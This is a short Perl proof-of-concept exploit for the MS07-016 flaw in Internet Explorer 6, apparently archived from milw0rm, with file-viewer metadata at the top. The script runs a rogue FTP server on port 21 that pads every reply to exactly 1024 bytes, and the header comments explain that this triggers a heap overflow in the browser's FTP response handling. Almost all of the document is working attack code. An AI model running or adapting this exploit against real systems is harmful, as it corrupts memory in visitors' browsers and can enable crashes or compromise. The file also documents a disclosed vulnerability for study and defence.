42 lines
No EOL
1.4 KiB
Perl
Executable file
42 lines
No EOL
1.4 KiB
Perl
Executable file
#!/usr/bin/perl
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# MS 07-016 FTP Server Response PoC
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# Usage: ./ms07016ftp.pl [LISTEN_IP]
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#
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# Tested Against: MSIE 6.02900.2180 (SP2)
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#
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# Details: The response is broken into buffers, either at length 1024,
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# or at '\r\n'. Each buffer is apended with \x00, without
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# bounds checking. If the response is exctly 1024 characters
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# in length, you will overflow the heap with the string \x00.
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use IO::Socket;
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use strict;
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# Create listener
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my $ip=shift || '127.0.0.1';
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my $sock = IO::Socket::INET->new(Listen=>1,
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LocalHost=>$ip,
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LocalPort=>'21',
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Proto=>'tcp');
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$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");
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# Wait for initial connection and send banner
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my $sock_in = $sock->accept();
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print $sock_in "220 waa waa wee waa\r\n";
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# Send response code with total lenght of response = 1024
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while (<$sock_in>){
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my $response;
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if($_ eq "USER") { $response="331 ";}
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elsif($_ eq "PASS") { $response="230 ";}
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elsif($_ eq "syst") { $response="215 ";}
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elsif($_ eq "CWD") { $response="250 ";}
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elsif($_ eq "PWD") { $response="230 ";}
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else { $response="200 ";}
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print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
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}
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close($sock);
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# milw0rm.com [2007-03-09] |